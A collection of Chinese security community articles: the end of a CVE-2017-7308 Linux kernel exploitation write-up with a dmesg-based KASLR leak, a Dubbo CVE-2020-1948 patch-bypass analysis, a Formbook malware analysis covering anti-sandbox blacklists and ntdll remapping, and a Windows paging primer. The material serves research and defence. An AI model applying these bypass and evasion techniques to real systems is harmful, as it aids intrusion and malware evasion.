需要注意的是，当我们覆盖packet_sock结构体中的这两个字段时，我们最终会破坏在这两个字段之前的某些字段（因为内核会将某些值写入内存块和帧头中），这可能会导致内核崩溃。然而，如果其他这些字段没有被内核使用，那么一切都还好。我发现当我们在漏洞利用结束后，尝试关闭所有的数据包套接字时，mclist这个字段会导致内核崩溃，但我们只要将其清零即可。
**6.4 绕过KASLR**
在这里我会介绍某些精心构造的技术，来绕过KASLR机制。由于Ubuntu默认情况下不会限制dmesg，我们可以使用grep命令，查找内核syslog日志中的“Freeing
SMP“关键词，我们可以在结果中找到一个内核指针，看起来与内核文本地址非常相似，如下所示：
# Boot #1
$ dmesg | grep 'Freeing SMP'
[ 0.012520] Freeing SMP alternatives memory: 32K (ffffffffa58ee000 - ffffffffa58f6000)
$ sudo cat /proc/kallsyms | grep 'T _text'
ffffffffa4800000 T _text
# Boot #2
$ dmesg | grep 'Freeing SMP'
[ 0.017487] Freeing SMP alternatives memory: 32K (ffffffff85aee000 - ffffffff85af6000)
$ sudo cat /proc/kallsyms | grep 'T _text'
ffffffff84a00000 T _text
在dmesg中暴露的地址的基础上，通过简单的数学运算，我们可以计算出内核文本地址。使用这种方式计算出来的内核文本地址只有在启动之后的一段时间内有效，因为syslog只存储固定行数的这类日志，然后在某些时候抹掉这些日志。
我们可以使用几个Linux内核加固功能来避免这类信息泄露。第一个功能是dmesg_restrict，它可以限制非特权用户读取内核syslog日志。需要注意的是，即使在受限dmesg下，Ubuntu的第一个用户还是可以从“/var/log/kern.log”以及“/var/log/syslog”处读取syslog日志，因为该用户隶属于adm用户组。
另一个功能是[ **kptr_restrict**](http://bits-please.blogspot.de/2015/08/effectively-bypassing-kptrrestrict-on.html)，这个功能不允许非特权用户查阅内核使用“%pK”格式说明符打印的指针。然而，在4.8版内核中，free_reserved_area()函数使用的是[
**“%p”格式符**](http://lxr.free-electrons.com/source/mm/page_alloc.c?v=4.8#L6433)，因此这种情况下kptr_restrict不会发挥作用。4.10版内核中[
**修复**](https://github.com/torvalds/linux/commit/adb1fe9ae2ee6ef6bc10f3d5a588020e7664dfa7)了free_reserved_area()函数，这个函数根本就不会打印地址范围，但这个修改没有做到向前兼容。
**七、修复措施**
我们来看看补丁原理。修复前的漏洞代码如下所示。请记住，用户可以完全控制tp_block_size和tp_sizeof_priv字段：
4207 if (po->tp_version >= TPACKET_V3 &&
4208 (int)(req->tp_block_size - 4209 BLK_PLUS_PRIV(req_u->req3.tp_sizeof_priv)) <= 0)
4210 goto out;
在考虑如何修复这个漏洞时，我们想到的第一个思路就是，我们可以比较这两个值，避免这些值被转化为非预期的整数（int）：
4207 if (po->tp_version >= TPACKET_V3 &&
4208 req->tp_block_size <=
4209 BLK_PLUS_PRIV(req_u->req3.tp_sizeof_priv))
4210 goto out;
有趣的是，这个修复措施并不会奏效。原因在于当tp_sizeof_priv接近于unsigned int的最大值时，在处理[
**BLK_PLUS_PRIV**](http://lxr.free-electrons.com/source/net/packet/af_packet.c?v=4.8#L177)时还是会出现溢出问题。
177 #define BLK_PLUS_PRIV(sz_of_priv)
178 (BLK_HDR_LEN + ALIGN((sz_of_priv), V3_ALIGNMENT))
修改这个溢出问题的一种办法就是在将tp_sizeof_priv传递给BLK_PLUS_PRIV之前，将其转化为uint64类型值。这就是我在上游代码中做的修复措施：
4207 if (po->tp_version >= TPACKET_V3 &&
4208 req->tp_block_size <=
4209 BLK_PLUS_PRIV((u64)req_u->req3.tp_sizeof_priv))
4210 goto out;
**八、缓解措施**
我们需要CAP_NET_RAW权限才能创建数据包套接字，非特权用户可以在用户命名空间中获取这个权限。非特权用户命名空间暴露了许多内核攻击面，这最终导致了许多可利用的漏洞（如[
**CVE-2017-7184**](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-7184)、[
**CVE-2016-8655**](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2016-8655)等）。我们可以通过完全禁用用户命名空间或者禁止非特权用户使用这类空间来缓解这类内核漏洞。
要彻底禁用用户命名空间，你可以在禁用CONFIG_USER_NS的条件下，重新编译自己的内核。在基于Debian的内核中，我们可以将/proc/sys/kernel/unprivileged_userns_clone的值设为0，以限制只有特权用户才能使用用户命名空间。从4.9版内核起，上游内核中就具有类似的“/proc/sys/user/max_user_namespaces”设置。
**九、总结**
就目前而言，（从安全角度来看）Linux内核中存在大量没有经过完善测试的接口，其中很多接口在诸如Ubuntu等流行的Linux发行版中处于启用状态，并且向非特权用户开放。这种现象显然是不好的，我们需要好好测试或者进一步限制这些接口。
Syzkaller是个令人惊奇的工具，允许我们对内核接口进行模糊测试。我们甚至可以为其他系统调用添加准系统（barebone）描述信息，这样通常也能发现许多bug。由于内核中还有许多地方没有覆盖到（可能会有一大堆安全漏洞存在于内核中），我们因此也需要大家一起协作，编写系统调用描述信息，对已有的问题进行修复。我们非常乐意看到读者通过发起代码的pull请求，贡献自己的一份力。
**十、参考链接**
相应的参考链接为：
利用代码：
<https://github.com/xairy/kernel-exploits/tree/master/CVE-2017-7308>
修复代码：
<https://github.com/torvalds/linux/commit/2b6867c2ce76c596676bec7d2d525af525fdc6e2>
CVE编号：
<https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-7308>
我们用来查找Linux内核错误的工具为：
syzkaller：<https://github.com/google/syzkaller>
KASAN：<https://www.kernel.org/doc/html/latest/dev-tools/kasan.html>
KTSAN：<https://github.com/google/ktsan/wiki>
KMSAN：https://github.com/google/kmsan
已整理的Linux内核漏洞利用资料：
<https://github.com/xairy/linux-kernel-exploitation> | 社区文章 |
# Dubbo2.7.7反序列化漏洞绕过分析
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
作者：freddychi(迟长峰)@腾讯安全云鼎实验室
## 简介
北京时间2020-6-22日Apache官方发布了Dubbo
2.7.7版本，其中修复了一个严重的远程代码执行漏洞（CVE-2020-1948），这个漏洞是由腾讯安全玄武实验室的ruilin提交，该漏洞允许攻击者使用任意的服务名和方法名发送RPC请求，同时将恶意序列化参数作为有效载荷，当恶意序列化的参数被反序列化时将执行恶意代码。该漏洞与
CVE-2017-3241 RMI反序列化漏洞有点类似，都是在远程调用过程中通过方法参数传入恶意序列化对象，服务端在解析参数进行反序列化时触发。Dubbo
Github Star数量32.8k，知名度不亚于fastjson，被大量企业使用，包括一些知名互联公司，漏洞影响十分广泛。
## 补丁分析
从补丁对比文件来看，在DecodeableRpcInvocation.java文件133-135行增加了对Method方法进行验证，如果验证不通过则抛出非法参数异常终止程序运行，核心代码代码如下:
if (!RpcUtils.isGenericCall(path, this.getMethodName())
&& !RpcUtils.isEcho(path, this.getMethodName()))
{throw new IllegalArgumentException
("Service not found:" + path + ", " + this.getMethodName());}
跟进isGenericCall和isEcho方法，发现验证逻辑十分简单，如果method等于$invoke、$invokeAsync或者$echo则返回true。不得不说此处站在开发角度思考是没问题的，非Dubbo自带service中的$invoke、$invokeAsync、$echo方法以外，其他函数名全部抛出异常，但是万万没想到RPC调用过程中方法名是用户可控的，所以攻击者可轻易的将method设置为其中任意一个方法来绕过此处限制。
public static boolean isGenericCall(String path, String method)
{return "$invoke".equals(method) || "$invokeAsync".equals(method);}
public static boolean isEcho(String path, String method)
{return "$echo".equals(method);}
通过对历史版本的回溯，发现在2019.10.31日的一次提交中DubboProtocol类的getInvoker函数的RemotingException代码块中增加了getInvocationWithoutData方法，对inv对象的arguments参数进行置空操作，用来缓解后反序列化攻击，此处正是CVE-2020-1948漏洞后反序列化利用的触发点。
如下getInvocationWithoutData函数，可能是为了方便开发者排查问题，如果系统配置log4j
debug级别或者不配置任何其他级别，则不会将inv对象的arguments参数设置为null，会直接返回invocation对象，所以还是存在被后反序列化漏洞攻击的风险。所谓后反序列化简单理解就是漏洞是在对象被正常反序列化之后触发，比如在异常处理中对成功反序列化的对象进行间接或直接的函数调用，从而导致的代码执行。
/*** only log body in debugger mode for size & security consideration.
*
* @param invocation
* @return
*/
private Invocation getInvocationWithoutData
(Invocation invocation)
{if (logger.isDebugEnabled()) {return invocation; }
if (invocation instanceof RpcInvocation)
{RpcInvocation rpcInvocation = (RpcInvocation) invocation;
rpcInvocation.setArguments(null);
return rpcInvocation;}
return invocation; }
由上可知，DecodeableRpcInvocation#decode请求体解码函数的验证逻辑存在绕过DubboProtocol#getInvocationWithoutData函数的后反序列缓解存在无效情况。
## 构造POC
知道了method的验证逻辑，修改CVE-2020-1948
Poc中的的service_name和method_name参数的值，分别为：org.apache.dubbo.rpc.service.GenericService和$invoke。
在DecodeableRpcInvocation类中的decode函数方法起始处设置断点进行Debug。
代码123-124行首先通过path（对应客户端的service_name）参数来获取服务描述对象repository，该对象包含了服务名、接口类型和方法信息等。
继续跟进，由于params是我们构造Gadget, 最终repository对象获取到函数描述对象为null。
继续跟进,由于pts变量没有被赋值，所以pts== DubboCodec.EMPTY_CLASS_ARRAY表达式成立,
接着进入isGenericCall函数，由于rpc调用设置的method的值为$invoke，此处可以验证通过。
最后进入hession反序列化流程，成功执行了代码。
可以看到调用栈如下：
另外，Dubbo暴露的端口如果开启了Telnet协议，攻击者可以连接到服务通过ls命令查看service、method等信息，甚至可以执行shutdown危险操作直接关停服务。白帽子@CF_HB在Dubbo
2.6.8版本通过Telnet服务中InvokeTelnetHandler.java类在处理invoke命令时的漏洞结合Fastjson反序列化漏洞成功进行了利用。随着越来越多的安全研究人员对Dubbo安全问题的关注，相信后面会有更多的漏洞被挖掘出来。
## 漏洞的修复
1.由社区aquariuspj用户给出的对DecodeableRpcInvocation增加入参类型校验
2.漏洞发现者ruilin建议删除RpcInvocation类的toString方法中输出的arguments参数,防范后反序列化攻击。同时对Hessian进行黑白名单加固来防范Hessian反序列化攻击。
目前官方和社区给出的修复方法都是单点防御，很容易被攻击者绕过，短期防护可参考玄武实验室给出的方案:
• 出网限制
经研究当前存在的反序列化利用链大多需要远程加载恶意类，如果没有特殊需求，建议在不影响业务的情况下将服务器配置出外网限制。
• IP白名单
建议用户将能够连接至Dubbo服务端的消费端IP加入到可信IP白名单里，并在服务端配置可信IP白名单，以防止攻击者在外部直接发起连接请求。
• 更换默认的反序列化方式
Dubbo协议默认采用Hessian作为序列化反序列化方式，而Hessian存在危险的反序列化漏洞。用户可以在考虑不影响业务的情况下更换协议以及反序列化方式，如：rest，grpc，thrift等。
• 关闭公网端口
不要将Dubbo服务端的开放端口暴露在公网，但需要注意这种场景若攻击者在内网环境仍然可以进行攻击。
## 参考
Apache Dubbo Provider 远程代码执行漏洞 (CVE-2020-1948)
<https://xlab.tencent.com/cn/2020/06/23/xlab-20-001/>
Java“后反序列化漏洞”利用思路
<http://rui0.cn/archives/1338>
[CVE-2020-1948] Apache Dubbo Provider default deserialization cause RCE
<https://www.mail-archive.com/dev>@dubbo.apache.org/msg06544.html | 社区文章 |
# 深入分析恶意软件Formbook：混淆和进程注入（上）
##### 译文声明
本文是翻译文章，文章原作者 RÉMI JULLIAN，文章来源：thisissecurity.stormshield.com
原文地址：<https://thisissecurity.stormshield.com/2018/03/29/in-depth-formbook-malware-analysis-obfuscation-and-process-injection/>
译文仅供参考，具体内容表达以及含义原文为准。
传送门：[深入分析恶意软件Formbook：混淆和进程注入（下）](https://www.anquanke.com/post/id/103429)
## 一、介绍
Formbook是用C语言和x86汇编语言编写的窗体捕获和窃取的恶意软件。这是一个已经准备售卖的恶意软件，可以被任何不具备恶意软件开发技能的犯罪分子所使用。在通过邮件分发Formbook样本的期间，我们捕获到一个Word文档样本，并作为本文的分析样本。我们使用了基于云的沙盒引擎Breach
Fighter（ <https://www.stormshield.com/products/breach-fighter/>
）对该样本进行了捕获，并且使用该引擎对样本文件进行了分析。
此前，我们曾经发表过一篇文章（ <https://thisissecurity.stormshield.com/2017/09/28/analyzing-form-grabber-malware-targeting-browsers/>
），文中对于一个简单的窗体捕获类恶意软件进行了分析，该恶意软件主要用于捕获常见浏览器发出的HTTP请求，以窃取用户密码。在该篇文章中，我们讨论了内联钩子的机制。除此之外，我们注意到目前已经有一些关于Formbook的文章发布。第一篇文章由Arbor
Networks发布于2017年9月（ <https://www.arbornetworks.com/blog/asert/formidable-formbook-form-grabber/> ），主要讲解了该恶意软件所使用的混淆方法。第二篇文章发由FireEye发布于2017年10月（
<https://www.fireeye.com/blog/threat-research/2017/10/formbook-malware-distribution-campaigns.html>
），主要分析该恶意软件的功能，并且涉及到一些混淆的技巧。考虑到上述已有的研究成果，我们决定关注一些新的细节，因此本文将涉及到以下内容：
1、Formbook所使用的混淆方法，以及对其进行逆向工程的过程；
2、反调试、反沙盒技巧；
3、如何使用IDA Python来进行自动分析；
4、Formbook如何通过浏览器的线程劫持和APC注入来进行进程镂空（Process Hollowing）。
## 二、反分析技巧
### 2.1 字符串加密
通过该恶意软件的字符串命令，我们并没有获知该恶意软件的运行流程。其原因在于，该恶意软件所使用的所有字符串都是混淆或加密的。关于加密字符串的存储和所使用的加密算法，我们在“数据加密”这一节进行了详细说明。
### 2.2 字符串散列
恶意软件通常会试图使用尽可能少的（加密后的）字符串。举例来说，如果要检查内存中是否存在某个字符串（例如进程名称），恶意软件并不会将已经加密的字符串进行解密后再执行比较，而是会对获取到的字符串运行散列函数，并检查其是否与此前预先计算的散列值相匹配。
Formbook使用的散列函数是BZip2 CRC32，该函数会应用于已经转换为小写字母的字符串：
>>> from crccheck.crc import Crc32Bzip2
>>> hex(Crc32Bzip2.calc(bytearray("NtCreateProcessEx".lower())))
'0xf653b199L'
在本文中，每个对字符串散列的引用都指向了关联字符串的BZip2 CRC32散列。
### 2.3 数据加密
恶意软件存储于加密的缓冲区，会直接隐藏在文本部分。由于该恶意软件使用了一个常见的技巧，所以我们能够逐一地将每个加密缓冲区的地址都检索出来。由于调用指令会将从被调用方返回时要执行的指令地址压入堆栈，所以一个操作数为0x00000000的调用指令（0xE8）会在调用后的地址处进行跳转。随后，可以使用以下“pop
eax”指令来检索当前指令的指针值，从而找到加密缓冲区的起始位置，是位于两个字节之后：
在Arbor Networks的文章中，已经对这种机制进行了描述，并且发布了一个Python脚本（
<https://github.com/tildedennis/malware/blob/master/formbook/formbook_decryption.py>
），该脚本中包含两个解密函数decrypt_func1()和decrypt_func2()，用于对这种加密后的缓冲区进行解密。其中，decrypt_func1()函数使用比解密输出缓冲区大的输入缓冲区作为参数，原因在于一些字节要被用于描述该进行哪种转换的“操作码”。而decrypt_func2()函数会对输入缓冲区进行两次简单转换，随后使用长度为20字节的密钥（由SHA-1消息摘要产生）执行RC4解密，并在输入缓冲区进一步应用两个更为简单的转换操作。
### 2.4 解密已加密的哈希数组
接下来，我们来研究一下在恶意软件的早期分析阶段是如何使用这两个函数的，特别是解密包含多个哈希值的数组。通过了解这一部分内容，能使我们更好地进行后续执行动态加载分析和反调试、反沙盒技巧学习。
两个加密的缓冲区encbuf1和encbuf3被分配给decrypt_func1()函数，并且其输出将用于计算两个SHA-1哈希值，这两个值会作为RC4的密钥（rc4_key_one和rc4_key_two）使用。第三个加密缓冲区encbuf2首先提供给decrypt_func1()函数，随后会使用之前生成的RC4密钥rc4_key_one将其提供给decrypt_func2()函数。使用decrypt_func2()函数和RC4密钥rc4_key_two解密生成的缓冲区，从而得到encbuf2_s3。最后，通过计算该缓冲区的SHA-1以获得最终的RC4密钥。下图说明了上述的过程：
我们编写了一个用于解密哈希数组并打印关联字符串的IDA Python脚本，并在GitHub上发布（
<https://github.com/ThisIsSecurity/malware/blob/master/formbook/formbook_decrypt_hash_string.py>
）。为了找到于动态加载函数相关的散列值，我们修改了shellcode_hashes插件（
<https://github.com/fireeye/flare-ida/tree/master/shellcode_hashes>
），增加了对BZip2
CRC32的支持。由于加密的数组还包含用于进行反调试和反沙盒的字符串散列，因此我们编写了另一个用于请求包含可能被恶意软件使用的字符串的JSON文件的Python脚本。该脚本同样可以用于借助字符串散列分析其他恶意软件，所以我们也在GitHub上发布了这一脚本（
<https://github.com/ThisIsSecurity/sinkhole/tree/master/malware_hash>
），并且将在发现新的恶意软件时对其进行更新。希望大家能够积极发起Pull Request，以便我们改进JSON知识库。
在执行IDA Python脚本后，我们可以发现其动态函数加载过程以及反VM、反沙箱和反分析的技巧。
12 0xf653b199 NtCreateProcessEx
13 0xc8c42cc6 NtOpenProcess
..
..
79 0x3ebe9086 vmwareuser.exe
80 0x4c6fddb5 vmwareservice.exe
..
83 0x85cf9404 sandboxiedcomlaunch.exe
84 0xb2248784 sandboxierpcss.exe
85 0xcdc7e023 procmon.exe
86 0x11f5f50 filemon.exe
..
..
114 0x24a48dcf guard32.dll
115 0xe11da208 SbieDll.dll
本Formbook样本运行脚本后得到的完整输出内容可以在我们的GitHub上获得（
<https://github.com/ThisIsSecurity/malware/blob/master/formbook/func_index_hashes.txt>
）。我们的分析文件格式基于Arbor
Network分析结果的格式，详细参考此文件：<https://github.com/tildedennis/malware/blob/master/formbook/func_index_hashes.txt>
。
### 2.5 手动映射NTDLL的副本
正如我们在CFF Explorer中看到的那样，Formbook的导入目录表（Import Directory
Table）为空，这通常意味着可能会存在动态函数加载的情况：
即使在导入表中没有引用DLL，Windows加载程序也会在进程地址空间中加载ntdll.dll。基于用户空间钩子的安全解决方案经常会拦截ntdll.dll中的函数来监视进程活动。为了避开监控，Formbook映射了该DLL的一个副本，并通过该DLL与操作系统进行许多交互。FireEye在他们的文章中将这种方法称为“Lagos
Island方法”。在本节中，我们将详细描述Formbook是如何执行此操作的。
大家可能了解，存储在磁盘上的DLL视图和映射到内存中的DLL视图是不一样的，这是由于受到了PE文件格式规范的限制。为了能够分页，就要求每个节在映射到内存中时都必须保证从虚拟地址开始，该虚拟地址需要是IMAGE_OPTIONAL_HEADER.SectionAlignment（默认为0x1000）的倍数。另外，在PE文件中，构成每个节的原始数据都要以IMAGE_OPTIONAL_HEADER.FileAlignement（默认为0x200）的倍数开始。磁盘上每个节的大小，总会取整为IMAGE_OPTIONAL_HEADER.FileAlignement的倍数。但针对内存中的节，则理论上不需要将其取整为IMAGE_OPTIONAL_HEADER.SectionAlignment的倍数（实际上操作系统会分配4KB大小的页）。关于这一部分的更多信息，可以阅读Win32可移植可执行文件格式的相关说明（
<https://msdn.microsoft.com/en-us/library/ms809762.aspx> ）。
接下来，就让我们看看Formbook是如何处理这些PE规范，以便复制并映射其自身版本的ntdll.dll：
#### 2.5.1 检索原始ntdll的完整路径
为了检索由Windows映像加载器加载的ntdll基地址，Formbook使用了一个名为get_module_base_address_by_hash()的函数。该函数会遍历LIST_ENTRY
“InMemoryOrderModuleList”中的每一个LDR_DATA_TABLE_ENTRY条目，以计算出映像名称（LDR_DATA_TABLE_ENTRY.BaseDllName）的散列值，并检查该值是否与参数中的值相匹配。
如果匹配，则会返回DLL基地址。随后，会使用另一个我们命名为get_module_data_table_entry_by_base_address()的函数，该函数功能大体相似，但会在LDA_DATA_TABLE_ENTRY条目中返回一个指针，其中包含基地址的条目（如果找到）。从该条目中，可以提取原始ntdll模块的完整路径（LDR_DATA_TABLE_ENTRY.FullDllName）。
#### 2.5.2 将ntdll的原始副本从磁盘转到内存
接下来，是使用先前检索到的完整路径，将ntdll的原始副本从磁盘转到内存中执行，这一过程是通过以下步骤进行的：
1、使用NtCreateFile()与’FILE_OPEN’ CreateDisposition获取磁盘上ntdll.dll的句柄；
2、使用NtQueryInformationFile()与类’FileStandardInformation’检索ntdll大小；
3、使用RtlAllocateHeap()分配适当大小的缓冲区，用于存储文件副本；
4、使用NtReadFile()将原始文件从磁盘读取到内存中。
#### 2.5.3 将原始副本中的ntdll头部和节映射到内存中
如前所述，在磁盘上和在内存中的PE文件视图是不一样的。因此，我们将ntdll的副本从磁盘转移到内存中之后，需要进行以下步骤：
1、检查原始复制缓冲区中的MZ头和PE头（0x4550）；
2、从可选头部读取SizeOfImage字段，并使用NtAllocateVirtualMemory()分配相应大小的缓冲区（新映射的DLL缓冲区）；
3、从Optional Header中读取SizeOfHeaders字段并复制PE头部；
4、从COFF Header读取NumberOfSections；
5、对于节表中的每个节，读取RawSize、RawAddress、VirtualSize和VirtualAddress字段；
6、从ntdll.dll文件的缓冲区中,复制大小为VirtualSize的每个节，从偏移量RawAddress开始，直至偏移量为VirtualAddress的新手动映射的DLL。
到现在，ntdll的手动映射版本会以几乎类似于被Windows
Loader映射的方式加载，因此可以被Formbook使用。在这里，有一个非常重要的区别是，手动映射的DLL是在一个单独的提交区域中，由PAGE_EXECUTE_READWRITE进行保护。而由Windows
Loader加载的版本会被映射到具有充分保护的几个提交区域中（例如，PE头部对应的是PAGE_READONLY，.text段对应的是PAGE_EXECUTE_READ）。
### 2.6 在进程地址空间中加载额外的DLL
除了使用本地API的未公开函数之外，Formbook还使用由DLL（如kernel32.dll或user32.dll）导出的更高级别的函数。
这些DLL使用来自手动映射的ntdll实例的未记录函数LdrLoadDll()加载到进程地址空间中。
用于动态解析LdrLoadDll()的方法将在下一节中详细介绍。
### 2.7 动态函数加载
通过执行动态函数加载，可以解析包含在ntdll.dll手动映射版本和使用LdrLoadDll()加载的其他DLL中的地址。我们使用名为import_func_by_hash的函数，在进程地址空间中找到相应DLL的地址以及所需要的函数名称哈希值，从而加载函数。其工作原理如下：
1、检查相应DLL基址的MZ头和PE头（0x4550）；
2、从Optional
Header中读取SizeOfExportTable和ExportTable（RVA）字段；3、从导出表中读取AddressOfNames（RVA）、NumberOfNames、AddressOfFunctions（RVA）、NumberOfFunction和AddressOfNameOrdinals（RVA）字段；
4、对于字符串数组指针AddressOfNames的每个条目，计算函数名称的哈希值并检查是否与预期的哈希值相匹配；
5、如果匹配，从WORDs数组中的AddressOfNameOrdinals获取函数的索引；
6、从前面读取的索引处，函数地址AddressOfFunctions数组中，读取函数的地址（RVA）。
函数的地址（RVA）最终被添加到DLL基地址中，并通过Formbook缓存在导入的函数指针数组中。如果Formbook需要再次调用此函数，就不用重新进行加载。
### 2.8 反调试、反分析技巧
在Formbook映射了其ntdll副本之后，就可以执行恶意操作了。在本小节中，我们将主要讲解Formbook所使用的几种自身防护方法：
1、检查被安全工具挂钩的系统调用；
2、检查正在运行的进程是否与黑名单匹配；
3、检查是否有与黑名单匹配的注入的DLL；
4、检查是否处于调试、虚拟化或沙盒环境。
在执行每项检查之后，其检查结果都存储在自定义结构的相应字节中。随后将会检查该结构中的每个字段，从而决定该进程是否要终止执行。如果上述检查中发现一项或一项以上的异常，那么该函数会返回0：
比较麻烦的是，在调试这个恶意软件的过程中，如果只修改这个函数的返回值是不够的。实际上，一旦恶意软件发现问题，还会修改加密哈希数组中的一些哈希值，从而导致动态函数加载过程失败。
#### 2.8.1 检查WOW32Reserved挂钩
由于Formbook是一个32位的PE，为了检查其自身是否在以WOW64兼容模式（即在64位Windows操作系统上运行的32位PE）运行，它会检查ntdll.dll的完整路径是否包含“wow64”。
当PE文件以wow64模式运行时，特定的32位版本的ntdll将会被映射，每个系统调用例程都会以对[fs:0xc0]的调用作为结束。但在Windows
10上除外（ <https://www.malwaretech.com/2015/07/windows-10-system-call-stub-changes.html>
），然而出于兼容性考虑，[fs:0xc0]仍然可用。这实际上是对包含在TEB结构中的字段Wow32Reserved中地址的调用，会启动位于wow64cpu.dll中的例程。该例程通过执行带有段选择子（Segment
Selector）0x33的跳转指令，将本地代码从32位转换为64位。
为了追踪wow64模式下PE所执行的系统调用，我们可以在Wow32Reserved字段设置一个钩子。这一过程可以使用Stealth64 OllyDbg插件（
<https://www.virusbulletin.com/virusbulletin/2010/08/anti-unpacker-tricks-part-eleven> ）进行。其目的在于，用自定义代码部分的地址替换WoW32Reserved字段，从而阻断系统调用。
为了检查是否部署了钩子，Formbook会执行以下步骤来检查Wow32Reserved字段是否指向了属于PE64
DLL的代码段（即wow64cpu.dll）：
1、使用类MemoryBasicInformation调用NtQueryVirtualMemory()以检索WOW32Reserved的AllocationBase（即wow64cpu.dll基地址）；
2、解析PE DOS头部并提取定义PE文件类型的COFF Magic；
3、检查COFF Magic是否等于0x020B（表示文件是PE64）。
#### 2.8.2 检查加载的DLL是否与黑名单匹配
Formbook会检查是否将模块SbieDll.dll（ <https://www.sandboxie.com/>
）加载到其地址空间中。为完成这项工作，它使用了我们之前所提及的名为get_dll_base_address_by_hash()的函数。如果找到预期的校验和（SbieDll.dll对应着0xe11da208），该函数将返回此模块的基址，并修改与此项检查相关的标志。
#### 2.8.3 检查当前运行的进程是否与黑名单匹配
为了检查当前正在运行的进程是否与黑名单匹配，Formbook使用类SystemProcessInformation来调用NtQuerySystemInformation()。随后，遍历每个SYSTEM_PROCESS_INFORMATION条目，以计算字段ImageName的散列值。如果有散列值与黑名单相匹配，则会检查加密散列数组（从偏移量79到98）。
从解密的哈希列表（
<https://github.com/ThisIsSecurity/malware/blob/master/formbook/func_index_hashes.txt>
）中，我们发现其包含如下映像名称：
79 0x3ebe9086 vmwareuser.exe
80 0x4c6fddb5 vmwareservice.exe
81 0x276db13e vboxservice.exe
82 0xe00f0a8e vboxtray.exe
83 0x85cf9404 sandboxiedcomlaunch.exe
84 0xb2248784 sandboxierpcss.exe
85 0xcdc7e023 procmon.exe
86 0x11f5f50 filemon.exe
87 0x1dd4bc1c wireshark.exe
88 0x8235fce2 netmon.exe
89 0x21b17672 unknown
90 0xbba64d93 unknown
91 0x2f0ee0d8 prl_cc.exe
92 0x9cb95240 unknown
93 0x28c21e3f vmtoolsd.exe
94 0x9347ac57 vmsrvc.exe
95 0x9d9522dc vmusrvc.exe
96 0x911bc70e python.exe
97 0x74443db9 perl.exe
98 0xf04c1aa9 regmon.exe
#### 2.8.4 检查是否存在调试器
Formbook通过调用两个不同类中的NtQuerySystemInformation()来检查它是否正处于调试模式之中：
SystemKernelDebuggerInformation：用于检查是否连接了Ring 0的调试器；
ProcessDebugPort：用于检查是否连接了Ring 3的调试器。
PEB结构中的BeingDebugged字段稍后也会用于Formbook，只要连接了用户级调试器，就会从无限循环中断。
#### 2.8.5 检查进程映像名称是否与黑名单匹配
Formbook会检查自身的映像名称（BaseDllName）是否以哈希为0x7c81c71d的字符串结尾。这一检查可能是针对某个特定的沙盒环境，该沙盒会在执行前更改PE文件的映像名称。
#### 2.8.6 检查加载的模块路径是否与黑名单匹配
Formbook会检查加在的模块是否位于7个黑名单路径之中。为实现该项检查，它将遍历LIST_ENTRY
“InMemoryOrderModuleList”，提取每个模块的完整路径（FullDllName）并计算每个目录完整路径的哈希值。然后，在加密散列数组（从偏移量99到105）中检查每个散列值。在研究过程中，我们未能发现黑名单中所包含的目录名称。如果您有所发现，期待能够告知，我们会对解密哈希列表（
<https://github.com/ThisIsSecurity/malware/blob/master/formbook/func_index_hashes.txt>
）进行更新。
#### 2.8.6 检查用户名是否与黑名单匹配
Formbook使用带有变量名“USERNAME”的RtlQueryEnvironmentVariable_U()函数，从环境中检索用户名。随后，它在加密散列数组中（从偏移量106到112）检查用户名是否与黑名单相匹配。根据解密的哈希列表，我们发现黑名单中包含如下内容：
106 0xed297eae cuckoo
107 0xa88492a6 sandbox- 108 0xb21b057c nmsdbox- 109 0x70f35767 xxxx-ox- 110 0xb6f4d5a8 cwsx- 111 0x67cea859 wilbert-sc
112 0xc1626bff xpamast-sc
该恶意软件是一个较为复杂的恶意软件，通过对其进行透彻地分析，可以使我们对于混淆和进程注入的理解有所提升。在下篇中，作者对该恶意软件如何进行进程注入展开详细的分析，希望大家继续关注！ | 社区文章 |
#### Introduction
由于在研究内核漏洞的时候，在漏洞的利用方式上有时候，时常会用到`Physical Address`的概念，最先是在研究`SMBleeding
CVE-2020-0796、CVE-2020-1206`（记录文档丢失）的RCE利用的时候接触到这一方式。后续在研究`CVE-2018-1038`时，再次接触到这一利用方式，有感于这种利用方式的威力，思路的新颖，特此学习记录。
#### Background
Windows 自从Windows
Vista以来在安全方面做了很多功课，除了在用户层我们熟知的NX/DEP/ALSR/SafeSEH等缓解措施，Windows
在内核层也做了很多漏洞缓解措施。
##### NX/DEP
在kernel mode下也区分`data`和`code`，通过`PROTECTED MODE MEMORY
SEGMENTATION`实现内存的属性标记。
##### KALSR
与ALSR类似，在kernel mode下，将Windows
的模块基地址随机化，提高RCE利用难度（需要一个泄漏内核模块地址的信息泄漏漏洞）。而对LPE是没有影响的，因为在Local
System下，可以通过`NtQuerySystemInfomation`获取模块信息。
##### Integrity Levels
即`可信级别`，高风险的程序（典型的浏览器）可信级别低，将不被允许执行敏感操作（系统调用），如`NtQuerySystemInfomation`，以此避免这类程序完成权限提升。
##### SMEP
全称`Supervisor Mode Excution Protect`，该保护措施严格区分`Kernel Space`和`User
Spcae`，即不允许以`SYSTEM`权限运行`User Space`的代码。
以上种种措施，使得exploit更难实现利用，很多情况下是拥有一定的权限（常见的任意地址写），但是无法转为`LPE`或者`RCE`
#### Windows Pages
##### unit
1KB = 0x400B
1MB = 1KB * 0x400
1GB = 1MB * 0x400
1TB = 1GB * 0x400
##### Intel Paging x86
在32bits机器上，cpu需要访问的虚拟内存空间达到`4G`，为了达到这个目的，采用了`PAGE DIRECTORY`和`PAGE
TABLE`两级寻址机制。
在Window 上CR3寄存器指向当前的`PAGE DIRECTORY`的`Physical Address`，每个PAGE
DIRECTORY有`1024`个`ENTRY`（简称`PDE`)，每个PDE指向一个PAGE TABLE的Physical Address。每个PAGE
TABLE有`1024`个ENTRY(简称`PTE`)，每个PTE指向一块`4KB`物理地址，即将4KB物理地址映射到4KB的虚拟地址。
一个虚拟地址即可以用下面的方式映射到物理地址（也可以反过来由物理地址得到虚拟地址）
每个ENTRY都是4bytes，其中低位用于标记相应地址的属性。
其中，PDE在一种特殊情况下可以不指向1024个PAGE TABLE，而是指向1个`Large Page`（拥有4MB大小），即将`PS`（Page
size）标记。
需要注意到的是，Windows上的每个进程都拥有4GB的虚拟内存，而且互相之间不可以访问，这种实现方式必然要求每个进程的指向Page
Directory的Physical Address不同！
